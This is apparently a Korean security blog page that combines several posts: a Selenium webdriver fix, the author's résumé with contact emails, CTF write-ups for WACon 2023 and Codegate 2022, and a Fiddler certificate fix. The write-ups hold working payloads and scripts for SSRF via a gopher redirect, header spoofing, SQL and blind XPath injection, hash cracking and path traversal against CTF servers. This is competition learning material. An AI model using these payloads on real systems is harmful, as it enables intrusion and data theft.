셀레니움 봇 만드려는데 그냥 pip3 install selenium 하고 기존 쓰던 코드 적용하니 온갖 에러가 난다

 

1. webdriver-manager 적용시 최신 크롬 드라이버를 못찾아서 에러가남

 > pip3 install git+https://github.com/SergeyPirogov/webdriver_manager

# 최신 webdriver_manager를 설치함으로써 해결


2. webdriver-manager 최신버전은 python 3.7 이상버전이 필요

# python 3.7 이상 버전 설치

 


3. 드래그한 부분이 에러인데, TypeError: __init__() got multiple values for argument 'options'라고 뜬다.

실제론 options땜에 에러나는건 아니고 selenium 4.10이상(맞나?)부터 webdriver path 지정을 Service라는 애를 통해서 해야하는거로 변했다고한다(ㅡㅡ..)

 

 > from selenium.webdriver.chrome.service import Service

 > ...

 > self.driver = webdriver.Chrome(service=Service(ChromeDriverManager().install()), options=options)

 

# Selinum Service를 이용해서 ChromeDriverManager().install() 사용

 

 

4. 추가로 desired_capabilities도 deprecated됐는데 난 그냥 짜증나서 쓰고있던 desired_capabilities 기능을 빼고 썼다.

어떻게 options로 이관? 혹은 다른 방법을 통해 사용하는 지 아시는 분은 댓글 주시면 감사드리겠습니다..

유재욱(arang, ar9ang3)

 

Career

 - 금융보안원 보안평가부 RED IRIS 팀(모의해킹팀) (2019. 09. ~ )

 - KITRI 차세대보안리더 양성 프로그램 Whitehat School 멘토 (2023. 09. ~ )

 - 구름톤 트레이닝 정보보호과정 3회차 멘토 (2023. 11. ~ )

 - 금융보안원 전문강사 (2023 ~ )

 - 가천대학교 스마트보안학과 자문위원 (2022 ~ )

 - CTF Team Defenit (2019. 10. ~ )
 - 라온시큐어 화이트햇 프로젝트팀 전임연구원 (2018. 04. ~ 2019. 08.)
 - 가천대학교 정보보호 동아리 Pay1oad 설립 및 운영 (2018. 03. ~ 2019. 02)
 - KITRI 차세대 보안리더 양성 프로그램 BoB(Best of the Best) 6기 컨설팅 트랙 수료 (2017. 07 ~ 2018. 04)
 - 가천대학교 글로벌캠퍼스 전산정보원 조교 근무 (2017.03 ~ 2017. 06)
 - AhnLab 소프트웨어 QA 모바일 팀 연수생 (2016. 08 ~ 2017. 02)
 - 대학 정보보호동아리 연합 커뮤니티 SUA(SecurityPlus Union Academy) 운영진 및 서경지부장 (2015. 11 ~ 2017. 06)

 

 

Interested with

 - Penetration Testing

 - Web Application Security

 - Mobile Application Security

 - Bug Hunting

 - Finance Security

 - Security Consulting

 - Developing Tool

 

Bug Bounty

 + 한국인터넷진흥원(KISA) S/W 취약점 제보 00회

 + 네이버(NHN) 버그바운티 웹 취약점 제보 00회

  > Unrestricted File Upload, Auth Bypass & CSRF Chaning for Logical Bugs, XXE, many Reflected XSS...

 + 리디북스(Ridibooks) 버그바운티 웹 취약점 제보 0회 > Account Takeover, Reflected XSS via Open Redirect
 + 2019, 2020 KISA Hack the Challenge 제보 0회  > WAF misconfiguration, Soteria money show, naver vuln...
 etc...

 

CTF

 - 2023 HITCON CTF 예선 6위, 본선 4위

 - 2023 WACON CTF 예선 1위

 - 2022 WACON CTF 본선 진출

 - 2022 화이트햇콘테스트 CTF 본선 진출

 - 2021 SECCON CTF 4위 (Team. KOREAN)

 - 2021 화이트햇콘테스트 CTF 예선 4위, 본선 4위 (Team. 화햇콘이었던사작경이었던화햇콘)

 - 2021 Pwn2Win CTF 2위 (Team. uuunderflow)

 - 2021 DEF CON CTF 16위 (Team. uuunderflow)

 - 2021 Plaid CTF 9위 (Team. uuunderflow)

 - 2020 Defenit CTF 문제 출제 및 운영

 - 2020 HITCON CTF 8위 (Team. G0D)

 - 2020 금융보안원 위협 분석 대회 FIESTA 금보원부 1위 우승 (Team. pgb5)

 - 2020 TokyoWesterns CTF 1위 우승 (Team. D0G$)

 - 2020 Google CTF Qulas 18위 (Team. I use Bing)

 - 2020 DEF CON CTF Final 12위 (Team. koreanbadass)

 - 2020 TSG CTF 2위 (Team. DefenitelyZer0)
 - 2020 ASIS CTF Qual. 2위 (Team. DefenitelyZer0)
 - 2020 DEF CON CTF Qual. 7위 (Team. koreanbadass)
 - 2020 Plaid CTF 4위 (Team. koreanbadass)
 - 2020 securinets CTF qulas 2위 (Team. Defenit)
 - 2020 zer0pts CTF 9위 (Team. Defenit)
 - 2020 Codegate 일반부 15위 (Team. Defenit)

 - 2019. 10. DVP Blockchain Security CTF 2위 수상 (Team. @minivet)

 - 2019. 01. Newsecu Winter CTF 5위 (Team. @arrrr)

 

 

Presentations 

 - 2023. 08. 금융보안원 금융보안교육센터 금융권 담당자 대상 특강

 - 2023. 07. 금융보안원 금융보안아카데미 특강

 - 2022. 09. 금융보안원 금융보안교육센터 금융권 담당자 대상 특강

 - 2022. 07. 금융보안원 대학생 금융보안 캠프 특강

 - 2022. 06. 가천대학교 스마트보안학과 특강

 - 2021. 08. 서울여대 정보보호 영재교육원 특강 - '모의해킹, 그리고 금융보안에서의 모의해킹'

 - 2020. 08. 금융보안원 대학생 금융보안 캠프 특강
 - 2019. 08. Best of the Best 8기 컨설팅 트랙 특강 - '모의침투, 기술컨설팅'
 - 2019. 07. Best of the Best 8기 발대식 특강
 - 2018. 11. KUCIS 영남권 컨퍼런스 발표 - 'Solidity 기반 스마트 컨트랙트 취약점 분석 방법'
 - 2018. 07. CodeEngn 2018 컨퍼런스 발표 - '안드로이드 앱 보안솔루션을 간단히 무력화 할 수 있다고?'

 - 2018. 04. Codegate 2018 컨퍼런스 발표 - '안드로이드 간편결제 앱 취약점 분석을 통한 앱 보안성 향상 연구'

 - 2017. 12. LG유플러스 모의해킹 결과 리포팅 발표 (BoB)

 - 2017. 12. LG전자 서비스 취약점 분석 결과 리포팅 발표 (BoB)

 

Achievements

 - 2019. 09. 특허 등록 - "이중 패킹을 이용한 코드 난독화" (특허 제 10-2018960호)

 - 2018. 12. 한국정보보호학회 동계학술대회 우수논문상 수상 (Mifare Classic 태그 타입 사용 출입 통제 시스템의 보안 취약점 및 대응방안에 대한 연구)

 - 2018. 08. [KCI 등재] 한국정보보호학회 논문지 투고 - '안드로이드 간편결제 애플리케이션 보안 솔루션 결과값 변조를 통한 검증기능 우회 방법에 대한 연구'

 - 2018. 04. KITRI 차세대 보안리더 양성 프로그램 BoB(Best of the Best) 6기 Best 10 (과학기술정보통신부 장관상)

 - 2018. 04. KITRI 차세대 보안리더 양성 프로그램 BoB(Best of the Best) 6기 Grand Prix 팀 선정(Team. JGG)

 - 2017. 12. 금융보안원 보안 취약점 제보 인증서 수여

 - 2017. 12. 스틸리언(Stealien) 보안 취약점 탐지 인증서 수여

 - 2017. 12. LG유플러스 보안 취약점 탐지 특별상 수여 (IT전략본부장, 000상무)

 - 2017. 04. Codegate 2017 해킹시연영상 공모전 특별상 수상

 

 

Contact with

 - Personal : jaewook376@naver.com

 - Business : jwyou@fsec.or.kr

 - https://arang.kr/

kuncelan

http://114.203.209.112:8000/index.phtml?fun_004ded7246=php://filter/convert.base64-encode/resource=/var/www/html/load

lfi가 존재한다

<?php

// LOCATION : ./internal_e0134cd5a917.php

error_reporting(0);
session_start();

if (!isset($_SESSION['username']))
{
    header('location: ./login.php');
    die();
}

if (__FILE__ === $_SERVER['SCRIPT_FILENAME'])
{
    die("only in include");
}

function valid_url($url)
{
    $valid = False;
    $res=preg_match('/^(http|https)?:\\/\\/.*(\\/)?.*$/',$url);
    if (!$res) $valid = True;
    try{ parse_url($url); }
    catch(Exception $e){ $valid = True;}
    $int_ip=ip2long(gethostbyname(parse_url($url)['host']));
    return $valid 
            || ip2long('127.0.0.0') >> 24 == $int_ip >> 24 
            || ip2long('10.0.0.0') >> 24 == $int_ip >> 24 
            || ip2long('172.16.0.0') >> 20 == $int_ip >> 20 
            || ip2long('192.168.0.0') >> 16 == $int_ip >> 16 
            || ip2long('0.0.0.0') >> 24 == $int_ip >> 24;
}

function get_data($url)
{

    if (valid_url($url) === True) { return "IP not allowed or host error"; }

    $ch = curl_init();
    $timeout = 7;
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, True);
    curl_setopt($ch, CURLOPT_MAXREDIRS, 1);
    curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
    $data = curl_exec($ch);

    if (curl_error($ch))
    {
        curl_close($ch);
        return "Error !";
    }

    curl_close($ch);
    return $data;
}

function gen($user){
    return substr(sha1((string)rand(0,getrandmax())),0,20);
}

if(!isset($_SESSION['X-SECRET'])){ $_SESSION["X-SECRET"] = gen(); }
if(!isset($_COOKIE['USER'])){ setcookie("USER",$_SESSION['username']); }
if(!isset($_COOKIE['X-TOKEN'])){ setcookie("X-TOKEN",hash("sha256", $_SESSION['X-SECRET']."guest")); }

$IP = (isset($_SERVER['HTTP_X_HTTP_HOST_OVERRIDE']) ? $_SERVER['HTTP_X_HTTP_HOST_OVERRIDE'] : $_SERVER['REMOTE_ADDR']);

$out = "";

if (isset($_POST['url']) && !empty($_POST['url']))
{
    if ( 
        $IP === "127.0.0.1" 
        & $_COOKIE['X-TOKEN'] === hash("sha256", $_SESSION['X-SECRET'].$_COOKIE['USER']) 
        & strpos($_COOKIE['USER'], 'admin') !== false 
    )
    {
        $out = get_data($_POST['url']);
    }
    else
    {
        $out = "Only the administrator can test this function from 127.0.0.1!";
    }

}

?>

<main role="main" class="container">
<h1 class="mt-5">𝖈𝖚𝖗𝖑:// ?</h1>
<p class="lead">cURL is powered by libcurl , used to interact with websites 🌐</p>
<form method="post" >
<legend><label for="url">Website URL</label></legend>
<input class="form-control" type="url" name="url" style="width:100%" />
<input class="form-control" type="submit" value="👉 Request HTTP 👈">
</form><?php echo $out; ?> 
</main>

load.phtml 추출된결과

curl 기능을 admin만 localhost에서 쓸 수 있다고 해놨는데, 이는 우회가 가능하다.

function gen($user){
    return substr(sha1((string)rand(0,getrandmax())),0,20);
}

if(!isset($_SESSION['X-SECRET'])){ $_SESSION["X-SECRET"] = gen(); }
if(!isset($_COOKIE['USER'])){ setcookie("USER",$_SESSION['username']); }
if(!isset($_COOKIE['X-TOKEN'])){ setcookie("X-TOKEN",hash("sha256", $_SESSION['X-SECRET']."guest")); }

getrandmax() 로 랜덤값을 뽑아 sha1으로 해싱하고 10바이트만 뽑아서 이를 다시 username과 붙여 sha256 해싱을 한다.

하지만 getrandmax는 21억가량밖에 안되기 때문에, 개인 pc로도 적은시간 안에 해시를 크랙해낼 수 있다.

from arang import *

xtoken = b"b0b32995820dad31a559a8611a610f9b3c57072b8fd757739c3605e50877d2fd"

for i in range(40000000,500000000):
    xsecret = he(sha1(str(i)))[:20]
    t = he(sha256(xsecret+b"guest"))
    if xtoken == t:
        print(xsecret)
        break

    if i % 10000000 == 0:
        print(f"[+] {i} : {xsecret} {t}")

대충 이런식으로 해시를 크랙해보면 내 세션에 대한 xsecret값이 나타난다

이제 이 xsecret으로 valid한 admin x-token을 만들어내면 token auth를 우회할 수 있다.

$IP = (isset($_SERVER['HTTP_X_HTTP_HOST_OVERRIDE']) ? $_SERVER['HTTP_X_HTTP_HOST_OVERRIDE'] : $_SERVER['REMOTE_ADDR']);

...

    if ( $IP === "127.0.0.1" ){

...

이건 X-HTTP-HOST-OVERRIDE라는 헤더를 추가해서 127.0.0.1으로 맞춰줌으로써 우회가 가능하다

function valid_url($url)
{
    $valid = False;
    $res=preg_match('/^(http|https)?:\\/\\/.*(\\/)?.*$/',$url);
    if (!$res) $valid = True;
    try{ parse_url($url); }
    catch(Exception $e){ $valid = True;}
    $int_ip=ip2long(gethostbyname(parse_url($url)['host']));
    return $valid 
            || ip2long('127.0.0.0') >> 24 == $int_ip >> 24 
            || ip2long('10.0.0.0') >> 24 == $int_ip >> 24 
            || ip2long('172.16.0.0') >> 20 == $int_ip >> 20 
            || ip2long('192.168.0.0') >> 16 == $int_ip >> 16 
            || ip2long('0.0.0.0') >> 24 == $int_ip >> 24;
}

이제 curl기능을 쓸 수 있는데, valid_url이라는 검증함수가 존재한다.

  1. http/https scheme만 사용 가능
  2. host파싱해서 gethostbyname으로 호스트에 해당하는 값을 ip2long으로 long형식 전환
  3. /24, /20, /16 등으로 local ip 대역 검증

우회하려고 용좀써봤는데 우회가 안되더라..

        $ch = curl_init();
    $timeout = 7;
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, True);
    curl_setopt($ch, CURLOPT_MAXREDIRS, 1);
    curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
    $data = curl_exec($ch);

근데 curl 옵션에 CURLOPT_FOLLOWLOCATION 이 존재한다

302 Redirection을 curl이 처리하기때문에 내서버로 보낸다음 302 redirection때리면 될거같다.

<?php
header("Location: gopher://127.0.0.1:80/_POST%20/internal_1d607d2c193b.php%20HTTP/1.1%0d%0aHost:%20127.0.0.1:80%0d%0aAuthorization:%20Basic%20YWRtaW4nfHwxIzpndWVzdA==%0d%0aContent-Type:%20application/x-www-form-urlencoded%0d%0aContent-Length:%203%0d%0a%0d%0aa=a%0d%0a%0d%0a");

#header("Location: <http://127.0.0.1:80/internal_e0134cd5a917.php>");
#header("Location: <http://127.0.0.1:80/internal_1d607d2c193b.php>");
?> 

load.phtml에 주석으로 써있던 internal_e0134cd5a917.php 파일을 location으로 돌리면

Untitled

next file location ㄷㄷ

Untitled

basic authorization이 없다고 한다

Untitled

guest:guest로 보내보니 SQL : user not found라고 한다

아마도 basic authorization을 sql query안에 넣나보다

Untitled

sqli 구문을 넣어보면 localhost only라고 한다

이건 아까처럼 특정헤더나 이런거로 우회가 안됐다

Authorization 헤더는 curl로 타사이트에서 302로 전달이 안되기때문에 고심하던 찰나

Untitled

sqli로 테이블 뽑아보니 플래그 일부가 나왔다

고퍼를 스랜다

header("Location: gopher://127.0.0.1:80/_POST%20/internal_1d607d2c193b.php%20HTTP/1.1%0d%0aHost:%20127.0.0.1:80%0d%0aAuthorization:%20Basic%20YWRtaW4nfHwxIzpndWVzdA==%0d%0aContent-Type:%20application/x-www-form-urlencoded%0d%0aContent-Length:%203%0d%0a%0d%0aa=a%0d%0a%0d%0a");

gopher로 http raw packet을 만들어 보내면

Untitled

나머지 패킷 획득

**WACon{Try_using_Gophhhher_ffabcdbc}**

본선 못갔으니 대충 쓰겠다..

 

웹을 너무 빨리 풀어서 블체만 봤는데 개인적으로 블체에 대해 너무 몰라서 많이 아쉬운 감이 있었다 흑흑..

 

nft 문제는 팀원인 epist가 도와줬다(ㄳㄳ)


[Baby First]

요약

ssrf로 regex검사를 우회하여 local file을 leak한다

 

당연히 baby 붙어있길래 이거부터 봐서 그런지 퍼스트 솔브를 먹어버린 문제이다 ;;;

대충 코드 보면 class파일 내의 lookupImg 함수에서 memo의 내용 중 [] 대괄호 안에 들어가는걸 url로 받아 image를 파싱해서 img tag에 넣어준다.

 

    pattern = Pattern.compile("^[a-z]+:");
    matcher = pattern.matcher(tmp);
    if (!matcher.find() || matcher.group().startsWith("file"))
      return "";

 

이 때 java.net.URL을 사용해서 넣어주는데, 그 전에 startsWith 함수로 file: 프로토콜로 시작하는지 검사한다.

 

java.net.URL을 auditing 해보면 

https://github.com/AdoptOpenJDK/openjdk-jdk11/blob/19fb8f93c59dfd791f62d41f332db9e306bc1422/src/java.base/share/classes/java/net/URL.java#L575

 

GitHub - AdoptOpenJDK/openjdk-jdk11: Mirror of the jdk/jdk11 Mercurial forest at OpenJDK

Mirror of the jdk/jdk11 Mercurial forest at OpenJDK - GitHub - AdoptOpenJDK/openjdk-jdk11: Mirror of the jdk/jdk11 Mercurial forest at OpenJDK

github.com

위와같이 url: 로 시작하면 start(input argument, url)를 += 4 해주는것을 볼 수 있따.

 

memo=[url:file:///flag] 해주면 풀린다

 


[ CAFE ]

요약 : xss bot에 admin password가 존재한다(언인텐), parse_url 버그(?)를 이용한다(인텐)

 

          case 'iframe':
            $src = $element->src;
            $host = parse_url($src)['host'];
            if (strpos($host, 'youtube.com') !== false){
              $result .= '<iframe src="'. str_replace('"', '', $src) .'"></iframe>';
            }
            break;

 

parse_url($src)['host']로 host 검사를 하는데, 이는 쉽게 우회가 가능하다.

 

관련된 문서로는 오랜지 형님 자료가 참 좋다.

 

찾기 귀찮으니 따로 링크는 올리지 않겠다.

 

# xss bot python code

driver.get('http://3.39.55.38:1929/login')
driver.find_element_by_id('id').send_keys('admin')
driver.find_element_by_id('pw').send_keys('$MiLEYEN4') ## ????
driver.find_element_by_id('submit').click()

 

하튼 원래는 그런문제였지만 xss bot에 패스워드가 들어있었다.

 

웹 빠르게 다 풀고 블체까지 보고 완전히 실직한다음 인텐으로 다시 보려했지만 블록체인 한문제를 풀지못하고 그대로 대회가 끝나 보지 못했다. 대충 javascript://youtube.com/[개행][코드]로 하면 될거같다


 

[ superbee ]

 

요약 : admin/password (언인텐) AES uninitialized key+padding it, iv from key decrypt

 

 

난 솔직히 대회하면서 이문제가 왜 100점까지 털렸지라는 의문을 끝끝내 지울 수가 없었다.

 

아 그런데 대회가 끝나고보니 계정이 admin/password 였다고한다.

 

으..;

 

ar9ang3@ar9ang3:~/web/dirsearch$ nc 3.39.49.174 30001
GET /admin/authkey HTTP/1.2
Host: localhost

HTTP/1.1 200 OK
Date: Sat, 26 Feb 2022 11:44:45 GMT
Content-Length: 96
Content-Type: text/plain; charset=utf-8

00fb3dcf5ecaad607aeb0c91e9b194d9f9f9e263cebd55cdf1ec2a327d033be657c2582de2ef1ba6d77fd22784011607

일단 auth_key를 auth_secret_key였나? 하튼 그거가지고 AES CBC Encrypt해서 admin페이지에 뿌려준다

 

host localhost로 검사하고있지만 걍 직접 nc로 붙어서 host 바꿔주니 뚝 떨어졌다.

 

func (this *AdminController) AuthKey() {
    encrypted_auth_key, _ := AesEncrypt([]byte(auth_key), []byte(auth_crypt_key))
    this.Ctx.WriteString(hex.EncodeToString(encrypted_auth_key))
}

대충 코드 보면 위에서 암호화할때 쓰이는 auth_crypt_key가 선언만 되어있고 값을 불러오지 않는다.

 

func AesEncrypt(origData, key []byte) ([]byte, error) {
    padded_key := Padding(key, 16)
    block, err := aes.NewCipher(padded_key)
    if err != nil {
        return nil, err
    }
    blockSize := block.BlockSize()
    origData = Padding(origData, blockSize)
    blockMode := cipher.NewCBCEncrypter(block, padded_key[:blockSize])
    crypted := make([]byte, len(origData))
    blockMode.CryptBlocks(crypted, origData)
    return crypted, nil
}

 

그러고 그걸 key size만큼 padding해주는데 그 결과는 \x10*16 이다

 

iv 또한 위의 padding으로 만들어진 key의 값에서 blocksize만큼 잘라서 쓰기 때문에 우리는 key와 iv를 모두 안다.

 

arang@DESKTOP-TUE2B66:/mnt/d/jw/personal/ctf/2022codegate$ python3 a.py
b'Th15_sup3r_s3cr3t_K3y_N3v3r_B3_L34k3d\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b'

개같이 복호화

 

개같이 플래그

 


 

[ myblog ]

 

요약 : blind xpath injection으로 catalina.properties에 설정된 environ variable leak

 

 

 

이제 jsp 문제 나오면 일단 톰캣, jdk부터 오디팅하는 습관이 들어져버렸다

 

대충 catalina.properties에 플래그 세팅해준거 보니 System.getProperty 같은 함수가 xpath 사용할 때 내부적으로 쓸거라 생각이 들어 우리의 갓-서브라임 형님께 ctrl+shift+f로 getProperty 검색해서 reference check를 했다

 

그러다보니 뭐 SecuritySupport.java에 쓰는게 있었는데 대충 기억해놓고있다가

 

 

대충 xpath function들 이용해서 풀거같아서 그쪽 보니 system-property라고 아주 좋아보이는 놈이 있었다.

 

 

대충 위 흐름으로 호출되는거 볼 수 있는데

로컬 테스트 bingo

 

http://3.39.79.180/blog/read?idx=%27%20or%20@idx=string-length(string-length(system-property(%27flag%27))=46=%27true%27)-4%20and%20@idx=%271

 

대충 blind xpath injeciton 구문 짜서 length check하고

 

 

from arang import *

s = requests.session()
proxies = {"http":"http://127.0.0.1:8888","https":"http://127.0.0.1:8888"}
headers = {"Cookie": "JSESSIONID=C37A435A55859F879AC71B4ECE966C07"}
s.proxies = proxies
s.headers = headers
s.verify = False
num = 1
#codegate
flag = "codegate2022{"
for i in range(len(flag)+1,46+1):
    for c in "0123456789abcdef}":
        url = f"http://3.39.79.180/blog/read?idx=' or @idx=string-length(substring(system-property('flag'),{i},1)='{c}'='true')-4 and @idx='1"
        r = s.get(url)
        if 'asdf' not in r.content.decode():
            flag += c
            print(f"[{len(flag)}/46] flag - {flag}")
            break

 

do exploit

 

get flag

 


[ nft ]

 

요약 : blockchain 이지만 webchall, 1day랑 python trick 이용

 

    modifier contains (string memory what, string memory where) {
        bytes memory whatBytes = bytes (what);
        bytes memory whereBytes = bytes (where);
    
        require(whereBytes.length >= whatBytes.length);
    
        bool found = false;
        for (uint i = 0; i <= whereBytes.length - whatBytes.length; i++) {
            bool flag = true;
            for (uint j = 0; j < whatBytes.length; j++)
                if (whereBytes [i + j] != whatBytes [j]) {
                    flag = false;
                    break;
                }
            if (flag) {
                found = true;
                break;
            }
        }
        require (!found);
    
        _;
    }

contains 함수가 좀 엉성하다

 

[requirements.txt 중]

Django==3.2.1

 

?

https://packetstormsecurity.com/files/cve/CVE-2021-33571

 

CVE-2021-33571 ≈ Packet Storm

Red Hat Security Advisory 2021-4702-01 - Red Hat Satellite is a systems management tool for Linux-based infrastructure. It allows for provisioning, remote management, and monitoring of multiple Linux deployments with a single centralized tool. Issues addre

packetstormsecurity.com

 

굿

 

>>> ipaddress.IPv4Address("127.0.0.01")
IPv4Address('127.0.0.1')

 

이제 127.00.0.1 주면 contains 우회할 수 있다

 

>>> uri="1.1.1.1/account/storages//a.b.c"
>>> nft_file = uri.split(nft_path + '/')[-1]
>>> nft_file
'/a.b.c'
>>> path = os.path.join(os.getcwd(), nft_path, nft_file)
>>> path
'/a.b.c'

 

        nft_file = uri.split(nft_path + '/')[-1]
        if nft_file.find('.') != -1 and nft_file.split('.')[-1]:
            path = os.path.join(os.getcwd(), nft_path, nft_file)

            with open(path, 'rb') as f:
                return f.read()

 

os.path.join 쓸 때 세번째 인자 절대경로 주면 절대경로로 바뀌어버리는 trick이 있다

 

이거랑 엮어쓰면

 

127.00.0.1/acount/storages//home/ctf/flag.txt

 

이렇게 주면 with open(path, 'rb') as f에서 path에 /home/ctf/flag.txt가 들어가게 되고 플래그를 읽을 수 있다.

 

취약점은 찾았으나 블체 눕눕이라 실제 익스를 못해서 팀원인 epist가 대신 익스해줬다(ㄳㄳ)

 

 

* Fiddler Classic(Not Everywhere)

 

가끔 피들러를 사용하다보면 https 인증서때문에 말썽일 경우가 많다

 

보통 인증서 기간 만료, 인증서 기간이 너무 김, 인증서를 신뢰할 수 없음 등등의 에러인데

 

이럴 때 구글에 나오는 해결책(certenroll engine reset)으로도 안되는 경우에 빠져 잠시 헤매다 해결책을 찾아 공유한다.

 

(일반적인 해결책, 피들러 최신버전)

Tools - Options - HTTPS - Actions - Reset All Certificate

 

보통 위의 해결책으로 해결이 되어야하지만 이번에 내가 봉착한 케이스는 Reset All Certificate를 하면 피들러가 멈춰버리는 현상이 발생했다.

 

해결한 이후 그 이유를 유추해보면, Reset하는 과정에서, 피들러가 생성한 와일드카드 인증서들을 삭제해야하는데, 이러한 와일드카드 인증서 중 삭제가 안되어 피들러가 Exception에 빠져 멈춰버리는것 같다.

 

어쨌든 각설하여 이를 해결하기위해선 피들러가 설치한 와일드카드 인증서 및 피들러의 인증서(DO_NOT_TURST_FiddlerRoot)들을 모두 직접 삭제해주면 된다.

 

실행 - certmgr.msc

 ㄴ [개인용-인증서]에 존재하는 모든 와일드카드 인증서 삭제

 ㄴ [신뢰할 수 있는 루트 인증 기관]에 존재하는 모든 DO_NOT_TRUST_FiddlerRoot 인증서 삭제

 ㄴ .. 기타 경로에 존재하는 모든 피들러 인증서 삭제

 

이후 (일반적인 해결책)으로 돌아가 Reset All Certificate를 해주면 정상적으로 https 인증서를 발급해주는것을 확인할 수 있다.

 

 

(부들부들..)

+ Recent posts